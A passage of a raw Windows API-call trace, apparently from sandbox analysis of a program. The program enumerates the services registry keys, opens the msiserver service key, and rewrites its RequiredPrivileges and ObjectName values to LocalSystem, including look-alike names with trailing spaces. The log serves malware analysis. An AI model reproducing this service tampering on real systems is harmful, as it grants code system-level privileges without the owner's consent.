out: lpName="fvevol") returned 0x0 [0253.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0253.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0253.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0253.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0253.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0253.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0253.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0253.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0253.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0253.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0253.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0253.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0253.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0253.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0253.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0253.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0253.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0253.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0253.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0253.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0253.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0253.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0253.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0253.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0253.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0253.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0253.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0253.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0253.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0253.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0253.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0253.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0253.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0253.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0253.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0253.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0253.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0253.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0253.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0253.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0253.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0253.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0253.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0253.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0253.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0253.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0253.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0253.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0253.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0253.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0253.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0253.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0253.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0253.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0253.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0253.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0253.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0253.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0253.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0253.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0253.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0253.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0253.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0253.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0253.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0253.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0253.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0253.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0253.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0253.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0253.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0253.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0253.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0253.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0253.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0253.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0253.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0253.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0253.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0253.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0253.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0253.927] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0253.927] RegCloseKey (hKey=0xc4) returned 0x0 [0253.927] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.928] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.928] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.928] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.928] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.928] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.928] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.928] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.928] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.928] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.928] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.928] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.928] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.928] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.929] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.929] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.929] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.929] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.929] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.929] RegCloseKey (hKey=0x148) returned 0x0 [0253.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.929] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.929] RegCloseKey (hKey=0xc4) returned 0x0 [0253.929] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.930] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.930] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.930] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.930] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.930] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.930] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.930] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.930] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.930] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.931] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.931] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.931] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.931] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.931] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.931] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.931] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.931] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.931] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.931] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.931] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.932] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.932] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.932] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.932] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.932] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.932] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.932] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.932] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.932] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.932] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.933] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.933] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.933] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.933] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.933] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.971] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.971] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.971] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.971] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.971] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.971] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.971] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.971] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.971] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.972] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.972] RegEnumValueA (in: hKey=0x14c, 